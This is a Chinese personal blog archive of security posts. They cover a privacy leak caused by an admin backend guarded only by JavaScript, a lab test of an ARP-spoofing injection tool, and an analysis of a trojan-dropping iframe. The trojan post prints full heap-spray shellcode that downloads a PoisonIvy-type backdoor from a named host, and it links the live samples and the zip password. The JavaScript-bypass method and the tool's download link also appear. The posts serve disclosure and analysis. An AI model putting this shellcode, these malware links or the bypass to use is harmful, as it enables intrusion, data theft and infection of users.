小歪碎碎念: 網路

顯示具有網路標籤的文章。顯示所有文章

2010-05-15

2010-05-15 原來GOOGLE SPIDER是個好駭客

在上週末(2010-05-09)曝光的網站漏洞
2010-05-09 取得個人資料何需Foxy. 一個爛網站就能讓你脫光光
今天看了下,居然在頁面上寫著
由於本網站受駭客入侵, 為免網友受進一步波及, 現緊急關閉本網站,並探究有效預防措施, 確認問題解決後再行開放, 做成網友不便及權益受損, 在此謹致上最大歉意!

看到這裡我又暈了,原來GOOGLE SPIDER也算駭客啊.看來還是搞不清楚問題在哪裡?

上一篇中我已經很客氣的把網站URL/名稱都蓋掉不直接SHOW出來,結果並沒有讓管理者/開發者有任何反省...

到現在(2010-05-15)事件曝光已經整整六天了,那些個資現在依然保留在GOOGLE上面.用特定關鍵字依舊可以搜出那些會員的姓名生日電話地址..
在上一篇最前面都寫上了..
如果發現自己的個資被GOOGLE抓到了,請參閱如何移除Google搜尋結果中「危害隱私」的 Cache暫存資料？

連怎麼移除掉已外洩被GOOGLE抓到的資料方法都說了,還不去處裡?
相比之下去年戰國策所發生的事件處裡上還稍微好一點點,起碼曝光之後沒多久就請GOOGLE把那些CACHE給處裡掉了.

該網站的系統開發商(XX數位科技 )還搞不清楚問題在哪嗎?

既然如此就直接挑明說吧,在該開發商網站上列出的相關客戶網站CASE幾乎都有一模一樣的問題
也就是進入管理後台(/mag/ )的權限都是交由JAVASCRIPT來進行判斷.這樣的如果還搞不清楚怎麼補洞的話...那只能好自為之了.

管理者/開發者不去檢討這些資料為什麼會被GOOGLE SPIDER給爬出來,難道把問題都推給駭客就沒事了嗎?
照這個邏輯下來,GOOGLE就是世界上最厲害的駭客了.

2010-05-09

2010-05-09 取得個人資料何需Foxy. 一個爛網站就能讓你脫光光

2010-05-09 22:20 補充在前面
建議大家可以設定 Google 快訊來追蹤自己的一些個人隱私資料(姓名/身分證號/電話/地址/信用卡號......等等)是否有被暴露在網路上.
雖然Google 快訊只能做到事後通知,但起碼會比什麼都不知道來的強. 早點發現可以早點處理...
如果發現自己的個資被GOOGLE抓到了,請參閱如何移除Google搜尋結果中「危害隱私」的Cache暫存資料？

2010-05-15 補充:
被GOOGLE CACHE住的個資依舊還在... 原來GOOGLE SPIDER是個好駭客
唉......
==============================================================================
今天看到一則新聞

用foxy盜個資網購盜刷百萬元

刷爆近百人信用卡
警方調查，嫌疑人黃廉恩（27歲，有竊盜、詐欺等前科），擔任資訊業某公司遊戲管理員，涉嫌自97年6月起，利用下載foxy資源分享軟體，網路搜尋信用卡持有人，盜走存放電腦裡個人資料，取得信用卡號及檢核碼。

一時手癢用嫌疑人名字上GOOGLE搜了一下
結果又發現一個後台管理系統被GOOGLE給爬進去了 XD

既然知道該管理後台的URL,就可以用 site: 參數來鎖定目標向GOOGLE大神查詢
啊咧,又是兩千多筆啊

隨便按一筆進去,結果跳出一個Javascript的alert 無權限，請重新登入

可是如果用NoScript這個FireFox的Plug-In來把Javascript檔掉,就可以一覽無遺了

而且不光是看個資,整個後台任何操作都通行無阻

這網站管理後台雖然在最前面有做帳號密碼登入,
但是後面所有判斷完全交由前端的JavaScript來處裡,
因為他所謂的權限系統判定,只是在ASP產出的頁面前面插上這段
< language="JAVASCRIPT">
alert("無權限，請重新登入")
history.go(-1);
< / script >
不過不管是該出來還不該出來的其他資料全都老老實實的SHOW在底下..
這樣的網站管理後台也算是個極品了.

從GOOGLE CACHE頁面的紀錄來看,這些紀錄起碼存在GOOGLE上面超過20天了.

再來看看加入這個網站的會員條款

註冊會員時，必須確實填寫基本資料，告知真實姓名、電子郵件地址與相關資料等。

所有由會員提供的個人資料，均視為機密，在未經會員同意前，XXXX網站保證絕不將個人資料，洩露給XXXX網站以外之第三者。

囧rz... 以後你還敢隨便在網上確實填寫個人資料嗎???

相關網站資料因為程式缺陷或是管理疏失而被搜尋引擎抓出來外洩的案例已經夠多了,老實說也不差這一個啦!!

所以說要取得個人資料何需Foxy. 一個爛網站就能讓你脫光光

P.S. 一些較為敏感且與新聞中嫌疑犯無關的個人資料在截圖上已先模糊處裡了,但是有概念的人隨便一搜還是搜的出來,那些都是完全被曝露在網路上的公開資料

最後再低調補一刀 XD
直接把管理者原密碼噴到前端來~超帥氣的啦!!!

2009-05-25

2009-05-24 YAM.COM(蕃薯藤/天空) DNS異常

這是 2009-05-25 在 XDITE那邊看到的訊息 blog.yam.com DN 錯亂
連到 www.yam.com / blog.yam.com 都是

 PPT.cc 對 http://blog.yam.com 的快照。網頁於 2009-05-25 02:12:53 GMT+8 顯示時所取得。

去查了下nslookup發現有個怪現象

看起來像是 Yam.com 的domain註冊商networksolutions那邊的紀錄被動手腳了
dns3的IP有出入
正常應該是
dns3.yam.com internet address = 210.66.81.232
結果有問題的狀況是
dns3.yam.com internet address = 205.178.189.131

而出問題被指過去的IP 205.178.189.131 http://whois.domaintools.com/205.178.189.131... 是yam.com網域註冊商Network Solutions的IP

另外在2009-05-25 02:04:47從 whois.domaintools.com 查到的紀錄是

 ppt網頁備份
其中
Database last updated on 24-May-2009 11:39:03 EDT.

而在 2009-05-25 02:24:22從 centralops.net查到的紀錄是

 ppt網頁備份
其中
Database last updated on 24-May-2009 14:01:29 EDT.

這個上層紀錄異動的很頻繁啊,
而且 Registrar Status: clientTransferProhibited 有點詭異..
看來這時候又要請李組長出來皺一下眉頭了 XD

最後在2009-05-25 02:30再次測試已恢復正常

其他相關BLOG :
天空蕃薯藤(Yam)掛點？！ @ kilin 特訓有益身體健康 :: 痞客邦 PIXNET :::
台中2B月台: yam天空的消失:

2009-04-21

2009-04-21 TWNIC上的Google Tw連線/頻寬資料

今天在看TWNIC-連線頻寬登錄查詢系統的時候,赫然發現有Google出現在裡面(其實是之前沒注意)

2009年第2次 Flash圖 (調查時間2009年4月)

從TWNIC這份資料來看,跟GOOGLE台灣Data Center對接的單位如下

國內連線頻寬資料
互連單位英文簡名	互連單位中文簡名	AS Number	頻寬種類	數量(條)	總頻寬(Mbps)
ASNet	中研院	9264	1G	1	1000
e-MAX	超級資訊網路		1G	1	1000

裡面的 e-MAX 超級資訊網路引起了我的好奇,所以開始查TWNIC那邊的歷史資料.

首先是看GOOGLE第一次出現在TWNIC連線頻寬資料之中,是在2009年第一次(1月)的報告
2009年第1次 Flash圖(調查時間2009年1月)

當時只有跟 ASNet 中研院有1G的連線頻寬.

而GOOGLE到了2009年第2次(調查時間2009年4月) 才出現跟 e-MAX 超級資訊網路有1G的連線頻寬

另外再看看 e-MAX 超級資訊網路這單位的背景/連線頻寬資訊 http://map.twnic.net.tw/main01_1.php?UnitESName=e-MAX&UnitType=C

e-MAX並沒有直接連到國外的線路

國內連線頻寬資料
互連單位英文簡名	互連單位中文簡名	AS Number	頻寬種類	數量 (條)	總頻寬 (Mbps)
google		15169	1G	1	1000
KGEx	和宇寬頻	9918	1G	1	1000
NTT	NTT	2914	1G	1	1000
TCOL	永大數位動力	17809	Other	2	20000
TFN	台灣固網	9924	1G	1	1000

比較特別的是他對 TCOL 永大數位動力有20G的連線頻寬

接下來再看看 TCOL 永大數位動力的資料 http://map.twnic.net.tw/main01_1.php?UnitESName=TCOL&UnitType=C

看TCOL的負責人跟上面的e-MAX 是同一位,看來屬於同一個集團的不同公司.
而TCOL 在對國外也只有通過 EBIX 亞太交換中心 2G的線路,在對國外連線上並沒有特別的優勢

看了下 e-MAX/TCOL的網頁資料,他們是屬於午陽集團 ,而該集團是在台中地區經營地區寬頻服務的..

午陽關係企業網站中還有一個歷史悠久讓人懷念的酷必得購物網

看到這裡真的是挺好奇的,GOOGLE TW Data Center為什麼除了中研院之外就只跟e-MAX對接??
還是說TWNIC的調查資料有其他與GOOGLE對接的單位沒有回報上去??
從TWNIC的資料中看GOOGLE的詳細資訊都是空的,可能GOOGLE並沒有去TWNIC登錄,而是其他單位登錄資料中有出現GOOGLE才會有的吧.
有人知道真正的原因嗎?? PLURK討論串
============================================================

============================================================
2009-04-22 update: 在PLURK討論串中感謝熱心網友提供資料
costw : PCZONE 討論區:華信與google
談戀愛都是上世紀末的事了 : 在peeringdb上面看到的資料在台灣只有跟Chief LY Building Taipei做peering
只是看完以後疑問更多 =_=""

2009-03-10

ARP 掛馬的作業模式觀察

這是拿網上隨手搜到的ARP掛馬工具測試

環境說明

VM HOST 192.168.1.2 (Windows2003) VMware Server 1.08

VMNAT 192.168.200.0/24 HOST GW 192.168.200.2
VMNAT Port Forward Host Port 80 => 192.168.200.100:80

VM WEB 192.168.200.100 tcp:80 (Debian Apache2)
MacAddress 00:0c:29:a7:a3:c6

VMARPATTACK 192.168.200.128(DHCP) (Windows 2003)
MacAddress 00:0c:29:4d:a8:bd

正常情況,在此環境內連結http://192.168.1.2/ 會經由VMNAT轉至VM內的 192.168.200.100:80
顯示結果如下 Wireshark紀錄 http://www.swm.idv.tw/20090310_A.pcap

在那台VMARPATTACK 192.168.200.128上面執行ARP掛馬工具 (當然這台肉雞上是沒有任何防護的)
測試工具下載位置 http://soft1.hackdos.com/soft/2008713arp.rar
(這種工具不需要特意去找,GOOGLE一挖就有一堆的..取得上一點難度也沒有)
不過那些被放出來的東西裡面通常都藏了些有的沒的,沒事的話不建議隨便以身試法..XD

其中設定插入代碼給一個便於識別的 1.1.1.1/mm.js (當然目前這個是不存在的)
執行以後安裝,從Wireshark上面就可以看到這個ARP spoofing開始運作了
Wireshark紀錄 http://www.swm.idv.tw/20090310_B_ARP.pcap

此時再去看 http://192.168.1.2/
Wireshark 紀錄 http://www.swm.idv.tw/20090310_C_ARP.pcap

由title來看可以確定已經成功被掛馬了
IE得到的網頁原始檔

Wireshark針對VMNET的封包擷取過程
連線建立時就有抓到重複的封包
而在第六個封包發出GET 時,目的地MacAddress 00:0c:29:4d:a8:bd
已經是 VMARPATTACK 192.168.200.128(DHCP) (Windows 2003) 偽裝成 192.168.200.100了

第10個封包,是VM WEB正常吐回的respond,但是目的地MacAddress 00:0c:29:4d:a8:bd 卻是 VMARPATTACK 192.168.200.128

然後在第12個封包才由MacAddress 00:0c:29:4d:a8:bd VMARPATTACK 192.168.200.128
將插入過的html返回

因為測試的環境是在內部NAT做port轉發,所以可能跟實況會有誤差.

不過理論上如果拿到外網環境應該也是可以通的,

這種攻擊模式的現成程式很多,每一款實作上可能也有些許差異,不過基本概念都是類似的.
等於是從同網段gateway/router之前攔截了http的封包硬插代碼後再送出.

這代表了什麼?代表我不需要實際去入侵每一台機器,

只要在IDC機房內同網段內抓出一台給他搞一下,
其他同網段沒有作ARP綁定防護的WEB SERVER就都會被插惡意代碼了..
管你是APACHE還是IIS..通通都會有..XD

而且被插的網站就算把整個網站程式碼翻到爛也找不到哪裡被插..

恐怖嗎?.....

相關閱讀:去年(2008)聖誕節時的舊文 MSN SHELL 所在SERVER遭ARP掛馬??

另外這模式初步看起來似乎跟

大規模網頁綁架轉址：威脅未解除，但專家都猜錯了:
&
破解新型態大規模網頁轉址攻擊

裡面提到的封包偽造特徵有點類似..看來也是從中間攔截封包硬插..不過目前手邊缺乏實例進行比對..不知道此特徵與此次的網頁轉址攻擊有無關聯

2009-03-10 19:25 Update: 再看了下並且經過交叉比對後發現似乎又跟這次的大規模網頁轉址有些不同,用這種掛馬工具出了gateway後並不會有兩個重複封包,而是直接修改封包後發出.
看來與這次的大規模轉址事件在實作方式上有些許不同,而且arp掛馬侷限性較高,若是從某個骨幹節點直接攔截造假封包送出,影響更為嚴重.

2009-03-13 update:
另外附上2008-12-24發現MSN SHELL 所在SERVER遭ARP掛馬??時用wireshark錄到的封包樣本 http://www.swm.idv.tw/20081224_cap.zip 有興趣或是手上有2009-03大規模轉址封包樣本的朋友可以抓回去分析比對看看.

2008-12-24

MSN SHELL 所在SERVER遭ARP掛馬??

2009-03-13 update.
這篇員外 Security: 網站轉址攻擊-ARP掛馬點出了我在2009-03-11時一個判斷上的盲點,如果是要在網路節點中途攔截,若非使用arp spoofing,除非直接打入router,或是作port mirror過去才行,不然理論上是沒法聽到unicast的tcp封包..(這年頭應該不會有人還在用hub吧,何況是IDC..)
另外附上2008-12-24用wireshark錄到的封包樣本 http://www.swm.idv.tw/20081224_cap.zip 有興趣或是手上有2009-03大規模轉址封包樣本的朋友可以抓回去分析比對看看.

2009-03-12 update.
接到網友專家的來信討論,的確我也感覺之前下的結論過於武斷,由行為模式來看是像機房或是骨幹遭到ARP spoofing,但實際封包模式又不太類似,當然也可能是另一種實作的方式.
不過這些都只是我們由外部現況及有限的證據進行猜測,並沒法接觸到問題的真正核心點.真相到底是如何?我想除非有核心人士出來爆料..否則很快就會被時間給淹沒了..

2009-03-11 update.
經過目前找到的ARP掛馬工具實測ARP 掛馬的作業模式觀察之後來觀察ARP掛馬的封包特徵,發現ARP掛馬並不會在gateway之外出現兩個封包,而是直接攔截修改封包插入html資訊,所以此次所發現的異常封包似乎不像目前已知的ARP掛馬，由相關封包特徵來看應該比較接近
大規模網頁綁架轉址：威脅未解除，但專家都猜錯了這篇的分析結果"IP spoofing"
這種攻擊方式應該屬於網路節點中途攔截並搶先送出假造封包.2008年底發生的這個事件跟2009年三月的大規模轉址非常類似，只是2008年底發生時並沒有引起太大的重視罷了。

*2009-03-09 updat.近日大規模網頁綁架模式似乎與此案例有些類似*

*2008-12-29 update. 下載木馬遭更新*

MSN SHELL是很多人會喜歡用的MSN外掛,因為它提供了訊息加密的功能.不過在今天發現了除了有MSN ACCOUNT洩漏的問題外,更嚴重的還是MSN SHELL所在的蒐集資料SERVER可能遭到ARP掛馬(ARP欺騙劫持掛木馬).所造成的影響恐怕非常巨大..

今天(2008-12-24) 電腦一開機登入MSN後小紅傘就報警
'HTML/Infected.WebPage.Gen [virus]'

看起來是IE的CACHE中有中標的可能,不過因為我沒用IE當BROWSER很久了(都用FireFox),
所以就去查了下IE的CACHE目錄,
發現到報警的gol.htm 如下圖

從這裡可以看到gol.htm 是從 http://shell09.msnshell.com/ 過來的,
而且這個request還會把MSN版本,MSNSHELL版本,語系,及使用的MSN ACCOUNT傳回到 shell09.msnshell.com 這台SERVER上去

在IE CACHE中gol.htm的內容是

在最前面被插了個長寬都是0的 iframe,連到

http:// 6 0 . 2 4 8 . 2 3 . 2 0 / t a x i / i n d e x 3 . h t m (URL用空格處裡了,以免被誤按)
抓下這個 index3.htm來看

明顯就是個掛馬的檔案,我這邊還沒時間去分析它的內容.
看起來像是針對前兩天MS才公佈的IE7漏洞修正.

另外這個IFRAME中連結的60.248.23.20是台灣的IP,

再來分析為什麼 shell09.msnshell.com (222.73.57.115)會被掛木馬,而且時有時無.

從封包來看
request gol.htm 後回來的第一個封包就被插了iframe

但是http header中的server information是Tiny Httpd.
而接下來的才是正常封包

http header中的server information是 Apache/2.2.4 (Unix)
這才是 shell09.msnshell.com (222.73.57.115)的http server吐出來的封包.

另外再測試直接 request shell09.msnshell.com (222.73.57.115) 網站根目錄的情況,

也是一樣,先來個TinyHttpd吐出的 iframe然後才是Apache2回應的403

所以推測 MSN SHELL負責收集訊息的 shell09.msnshell.com (222.73.57.115) 這台伺服器所在的機房網段應該是有其他機器中了ARP掛木馬病毒,才會硬插吐iframe出來 ??

有用MSN SHELL的朋友請提高警覺,同時立即進行WINDOWS &病毒碼的UPDAET.否則稍一疏忽就有中標的可能.

後記
1. 60.248.23.20 這台機器是一間台灣公司 "上麥資訊"的機器.
不知道是自己放的木馬還是被當成僵屍?

2. index3.htm 確定是利用前幾天的IE7 0Day漏洞攻擊, 看來現在類似這種的掛馬方式都是出來一份以後大家抄來抄去改來改去的. XD
而其中的
spray(a1+"9090"+"%u8b55%u81ec%ub4c4%ufffe%u60ff%u05eb%u458f%uebe8%ue845%ufff6%uffff%u7468%u7074%u2f3a%u362f%u2e30%u3432%u2e38%u3332%u322e%u2f30%u6174
%u6978%u412f%u7463%u7669%u5865%u652e%u6578%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%ud233
%u30b2%u8b64%u8502%u78c0%u8b0c%u0c40%u708b%uad1c%u408b%ueb08%u8b09%u3440%u408d%u8b7c%u3c40%u4589%u83fc%u3cc0%u008b%u4503%u83fc%u78c0%u008b
%u4503%u8bfc%u2070%u7503%ue9fc%u0134%u0000%u458f%uc7d8%uf845%u0000%u0000%u7d8b%ufcd8%u28eb%u5756%ub950%uffff%uffff%uc032%uaef2%ud1f7%u4d89%u58f4
%ue85f%u0176%u0000%u758d%u03b8%uf875%u1689%u035e%uf47d%u4583%u04f8%u3f80%u7500%u47d3%u8d57%ub8b5%ufffe%u56ff%uff68%u0000%uff00%uc055%u45c7%u73d8
%u6264%uc72e%udc45%u7865%u0065%u45c7%u00e0%u0000%uc700%ue445%u0000%u0000%u758d%u56d8%ubd8d%ufeb8%uffff%uff57%uc855%u45c7%u75d8%u6c72%uc76d%udc45
%u6e6f%u642e%u45c7%u6ce0%u006c%uc700%ue445%u0000%u0000%u758d%u56d8%u558b%u8dbc%uec7d%u00be%u8860%ub97c%u0006%u0000%ua4f3%u32e8%u0001%u8900
%ufc45%u758d%ubfec%u6000%u7c88%u06b9%u0000%uf300%u5fa4%uff57%ufc75%u7d8d%u64ec%u04a1%u0000%u8900%u6407%u08a1%u0000%u8900%u0447%uc764%u0405
%u0000%u0000%u8860%u647c%u05c7%u0008%u0000%u6000%u7c88%u55ff%u89b8%ub485%ufffe%u8dff%uec75%u068b%ua364%u0004%u0000%u468b%u6404%u08a3%u0000
%u6a00%u6a00%u8d00%ub8bd%ufffe%u57ff%u75ff%u6ae8%uff00%ub495%ufffe%u6aff%u8d00%ub8b5%ufffe%u56ff%u55ff%u6acc%uff00%ud055%uc7e8%ufffe%u47ff%u7465%u7250
%u636f%u6441%u7264%u7365%u0073%u6f4c%u6461%u694c%u7262%u7261%u4179%u4700%u7465%u6554%u706d%u6150%u6874%u0041%u736c%u7274%u656c%u416e%u6c00
%u7473%u6372%u7461%u0041%u6957%u456e%u6578%u0063%u7845%u7469%u7250%u636f%u7365%u0073%u5500%u4c52%u6f44%u6e77%u6f6c%u6461%u6f54%u6946%u656c
%u0041%u56eb%u508b%u5718%u5251%u8b56%u0336%ufc75%uf3fc%u5ea6%u595a%u745f%u8306%u04c6%u754a%u8be8%u1848%uca2b%ue1d1%u508b%u0324%ufc55%ud103
%uc933%u8b66%ud10a%ud1e1%u8be1%u1c50%u5503%u03fc%u8bd1%u0312%ufc55%uff5b%u58e3%u00b9%u8860%u517c%u01c6%u8968%u0141%u41c6%uc305%ue2ff");這一長串,解開後可以在裡面發現藏了下載的URL ,

h t t p : / / 6 0 . 2 4 8 . 2 3 . 2 0 / t a x i / A c t i v e X . e x e (為避免意外發生,一樣在每個字元中間加了個空格)
改天有空在來研究下牠到底幹了些啥

3. 抓下來的ActiveX.exe 丟到 Virustotal 上的分析報告

File ActiveX.exe received on 12.24.2008 17:25:37 (CET)
Current status:finished Result: 9/39 (23.08%)

Antivirus	Version	Last Update	Result
a-squared	4.0.0.73	2008.12.24	-
AhnLab-V3	2008.12.25.0	2008.12.24	-
AntiVir	7.9.0.45	2008.12.24	-
Authentium	5.1.0.4	2008.12.24	W32/PoisonIvy.E.gen!Eldorado
Avast	4.8.1281.0	2008.12.24	-
AVG	8.0.0.199	2008.12.24	BackDoor.PoisonIvy
BitDefender	7.2	2008.12.24	Trojan.Downloader.Agent.ZCR
CAT-QuickHeal	10.00	2008.12.24	-
ClamAV	0.94.1	2008.12.24	-
Comodo	809	2008.12.24	-
DrWeb	4.44.0.09170	2008.12.24	-
eSafe	7.0.17.0	2008.12.24	-
eTrust-Vet	31.6.6276	2008.12.24	-
Ewido	4.0	2008.12.24	-
F-Prot	4.4.4.56	2008.12.24	W32/PoisonIvy.E.gen!Eldorado
F-Secure	8.0.14332.0	2008.12.24	W32/PoisonIvy.gen22
Fortinet	3.117.0.0	2008.12.24	-
GData	19	2008.12.24	Trojan.Downloader.Agent.ZCR
Ikarus	T3.1.1.45.0	2008.12.24	-
K7AntiVirus	7.10.564	2008.12.24	-
Kaspersky	7.0.0.125	2008.12.24	-
McAfee	5473	2008.12.23	-
McAfee+Artemis	5473	2008.12.23	-
Microsoft	1.4205	2008.12.24	Backdoor:Win32/Poisonivy.E
NOD32	3716	2008.12.24	-
Norman	5.80.02	2008.12.24	W32/PoisonIvy.gen22
Panda	9.0.0.4	2008.12.24	-
PCTools	4.4.2.0	2008.12.24	-
Prevx1	V2	2008.12.24	-
Rising	21.09.22.00	2008.12.24	Trojan.Win32.Undef.vir
SecureWeb-Gateway	6.7.6	2008.12.24	-
Sophos	4.37.0	2008.12.24	-
Sunbelt	3.2.1809.2	2008.12.22	-
Symantec	10	2008.12.24	-
TheHacker	6.3.1.4.199	2008.12.23	-
TrendMicro	8.700.0.1004	2008.12.24	-
VBA32	3.12.8.10	2008.12.24	-
ViRobot	2008.12.24.1534	2008.12.24	-
VirusBuster	4.5.11.0	2008.12.24	-

Additional information
File size: 11776 bytes
MD5...: 68fb7e446198055cece63ae002065f98
SHA1..: f3528e710b6e73741fca0d5ffb4f31022616ab30
SHA256: 8e25f68a836b0c562cd575ff3b56f2073df4414d102eb97e0cf79a7c5423340b
SHA512: 9a456f53c90685f24eab8da8bfd95ce959b6f582831f5ec7f8598ba135844311 f782fabd1d8a33f582f860426b24915b4f3fec24f2bbb81fa417ce03a59a7876
ssdeep: 192:p3yFbGZTscP4oyn+5MYNmtNJD5UxMpuYGunUQGdD4RxvjqbqUA2cm4RX2Q3M 7Sfr:JOGZYi4o5MYNAJD5UyuYVnUQG9axvjqW
PEiD..: Armadillo v1.71
TrID..: File type identification Win32 Executable Generic (42.3%) Win32 Dynamic Link Library (generic) (37.6%) Generic Win/DOS Executable (9.9%) DOS Executable Generic (9.9%) Autodesk FLIC Image File (extensions: flc, fli, cel) (0.0%)
PEInfo: PE Structure information ( base data ) entrypointaddress.: 0x4013c0 timedatestamp.....: 0x49503e0f (Tue Dec 23 01:25:35 2008) machinetype.......: 0x14c (I386) ( 3 sections ) name viradd virsiz rawdsiz ntrpy md5 .text 0x1000 0x515 0x600 5.28 4bdf9e12b88dc8c76c7e22d733e4e4e4 .rdata 0x2000 0x2b4 0x400 3.42 9480d3dc61527ddfacb7fb9373fbcc60 .data 0x3000 0x1e60 0x2000 7.82 984d3ad35e502800c4b95c340aeb5ae4 ( 2 imports ) > MSVCRT.dll: _adjust_fdiv, __p__commode, __p__fmode, __set_app_type, __setusermatherr, _controlfp, _initterm, __getmainargs, __p___initenv, exit, _XcptFilter, _exit, __CxxFrameHandler, _except_handler3, __3@YAXPAX@Z > KERNEL32.dll: lstrcpyA, lstrcatA, CreateFileA, WriteFile, CloseHandle, WinExec, ExitProcess, GetModuleFileNameA

看來檢出率還不是很高

4. 2008-12-26. 從這兩天的訪客來源看,有不少是搜 60.248.23.20 & gol.htm 過來的,看來已經有不少人都發現這情況了吧.

5. 抓下來的ActiveX.exe 我在封閉環境測試執行後會生出 C:\WINDOWS\system32\mftp.exe & 123.bat(這是run完後把自己幹掉的batch檔),然後在HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run 底下生出一個名稱是 svchost.exe 的啟動執行項目去執行 C:\WINDOWS\system32\mftp.exe ,不過奇怪的是 mftp.exe 跟 ActiveX.exe 是一模一樣的檔案(比對MD5SUM完全相同),好像也沒看到做其他事情..可能需要再進一步分析..

6. 2008-12-27 目前60.248.23.20這台機器似乎是無法連線了,不知是已經發現處裡了還是無法負荷過量的連線需求,在 2008-12-24該台機器還能連線時我有測試過,那是台Windows 2000的機器.

7. http://www.swm.idv.tw/60.248.23.20_torjan.zip 這是從2008-12-25 從 http:// 6 0 . 2 4 8 . 2 3 . 2 0 / t a x i / i n d e x 3 . h t m & h t t p : / / 6 0 . 2 4 8 . 2 3 . 2 0 / t a x i / A c t i v e X . e x e 抓下來的檔案,解壓縮密碼為 60.248.23.20 ,有興趣者可以抓回去研究研究 (!!小心!!)

8.2008-12-28 目前這個ARP掛木馬iframe index3.htm 的災情似乎有擴大的趨勢,現在已知受影響的站點還有 forum.vbulletin-china.cn (125.89.79.139), 也是一樣應該是受到ARP綁架掛馬的波及.

9.2008-12-29 update
拿nmap掃了下 60.248.23.20 這台機器 (Windows 2000)
發現有開啟的port如下
Discovered open port 3389/tcp on 60.248.23.20 Windows RDP
Discovered open port 21/tcp on 60.248.23.20 FTP
Discovered open port 8888/tcp on 60.248.23.20 ????
Discovered open port 5800/tcp on 60.248.23.20 VNC-HTTP
Discovered open port 5900/tcp on 60.248.23.20 VNC
Discovered open port 1433/tcp on 60.248.23.20 MS-SQL
估計是沒人管的機器被當黑進去利用了

今天測試 h t t p : / / 6 0 . 2 4 8 . 2 3 . 2 0 / t a x i / A c t i v e X . e x e 這個檔案居然有改版了, 之前抓下來的是
ActiveX.exe 2008-12-23 09:25 11776 bytes md5sum:68fb7e446198055cece63ae002065f98
今天發現已經換成新的了
ActiveX.exe 2008-12-26 15:07 12800 bytes md5sum:4405441a2b01ad5fce015cdd5a8c80fe
這個檔會被我裝的小紅傘攔截到TR/Dldr.Agent.12800.3 [trojan].(先前的不會), 估計先前那個是拿來做實驗不然就是沒寫好的.
把他丟到 Virus.Org 去分析 (因為virustotal好像掛了)

The following represents the test results from the virus scanners used by the Virus.Org scanning service when it performed the scan on the file 'ActiveX.exe_20081229_TORJAN'.

File: ActiveX.exe_20081229_TORJAN
SHA-1 Digest: 9ad1f1b647d6266a2a7dd4e7ee5b1d091bc7ce7f
Size: 12800 bytes
Detected Packer: Microsoft Visual C++ v5.0/v6.0 (MFC)
Status: Infected or Malware (Confidence 30.43%)
Date Scanned: Mon Dec 29 12:03:22 +0000 2008

Scanner Scanner Version Scanner Engine Scanner Signatures Result Scan Time
A-Squared 4.0.0.29 N/A 1230552006 Clean 30.88 secs
Arcavir 1.0.5 N/A 14:07 13-12-2008 Clean 21.83 secs
avast! 1.0.8 N/A 081228-0 Win32:Rootkit-gen 73.27 secs
AVG Anti Virus 7.5.52 442 270.10.1/1867 Clean 70.36 secs
Avira AntiVir 2.1.12-100 7.9.0.45 7.1.1.45 TR/Dldr.Agent.12800.3 107.02 secs
BitDefender 7.81008 7.22837 2390111 Trojan.Downloader.Agent.ZCR 23.78 secs
CA eTrust N/A 31.06.00 31.06.6274 Clean 21.35 secs
CAT QuickHeal 10.00 N/A 29 December, 2008 Clean 77.78 secs
Comodo 3.0 3.0 834.4321976 Clean 10.70 secs
CPSecure 1.15 1.1.0.715 26/12/2008 10:37AM Clean 101.28 secs
Dr. Web 4.44.0.10060 4.44.0.9170 494777 Clean 73.74 secs
F-PROT 4.6.8 3.16.16 20 November 2008 Clean 62.52 secs
F-PROT 6 6.2.1.4252 4.4.4.56 200812282035 W32/PoisonIvy.E.gen!Eldorado 32.33 secs
F-Secure 1.10 6392 2008-12-29_03 Backdoor.Win32.Poison.ous [AVP] 94.35 secs
Ikarus T3SCAN 1.32.4.0 1.01.45 2008-12-29 04:57:50 Clean 108.05 secs
Kaspersky 5.7.13 1367201 29-12-2008 Backdoor.Win32.Poison.ous 211.55 secs
McAfee Virusscan 5.30.0 5.3.00 v5477 Clean 51.25 secs
Norman Virus Control 7.00.00 5.93.01 5.93.00 Clean 175.55 secs
Panda 9.04.03.0001 1847194 28/12/2008 Clean 26.53 secs
Sophos Sweep 4.36.0 2.81.2 4.36 Clean 63.30 secs
Trend Micro N/A 8.700-1004 736 TROJ_POISON.LO 10.59 secs
VBA32 3.12.8.10 N/A 2008.12.28 Clean 54.87 secs
VirusBuster 2005 1.3.4 4.3.23:9 9.144.53/11.0 Clean 44.53 secs

而這個新的 h t t p : / / 6 0 . 2 4 8 . 2 3 . 2 0 / t a x i / A c t i v e X . e x e 如果被下載執行了以後,會發生的動作如下
a.將自己複製一份到 C:\WINDOWS\system32\svahost.exe
b.在registry的
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run
新建一筆開機執行
"svchost"="C:\\WINDOWS\\system32\\svahost.exe"

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Active Setup\Installed Components\{6605C18D-7259-D9DB-F7B2-7EF7712E0D2A}
"StubPath"="C:\\WINDOWS\\system32\\svahost.exe"

c.紀錄所有執行程式&滑鼠鍵盤動作in C:\\WINDOWS\\system32\\svahost 紀錄內容如下
=================================================================
trlAltCtrlAlt?? * - WINDOWSsysum 2Num 8Num 6Enter?sva? + KVMware Accelerated AMD PCNet Adapter (Microsoft's Packet Scheduler) : Capturing - Wiresharkum 2Num 2Num 2Num 2?? - m 匯出登錄檔案aaa? - + ?aaa.reg - 記事本trl?
=================================================================
d.試圖連線到 lovepi.8800.org tcp_port 80 (121.10.214.100[廣東汕头市])

很明顯就是一隻木馬程序.

10. 2008-12-31 update. 那隻新的 h t t p : / / 6 0 . 2 4 8 . 2 3 . 2 0 / t a x i / A c t i v e X . e x e 已經有專業分析報告出來了

11. 2009-01-02 update. Google 搜尋 60.248.23.20 那個木馬頁面能被搜到了, 囧~~

而那個 http://60.248.23.20/taxi/index3.htm 中的特徵
var mystr ="http://rਊr.book.com";
可以從GOOGLE用 rਊr 搜尋會有原理介紹.
Virus Total 針對 index3.htm的解析報告 ActiveX.exe的解析報告

12. 2009-03-09 update. 最近(2009三月初)爆出cnet/msn taiwan也有出現莫名轉址的情況,
這陣子因為雜務過多沒花太多時間去追這次大規模轉址攻擊的相關證據,不過由網上有人擷取到封包來看,也是第一個http回應封包前面被插了iframe,跟之前發現的模式很相近.
去年(2008)聖誕節前後的事件因為受影響的網站知名度普遍不夠高,所以並沒有引起廣泛的重視..相關資訊去GOOGLE搜尋 60.248.23.20 可以找到一些受害者的資料.
如果還不知道什麼是ARP掛馬,請GOOGLE一下吧
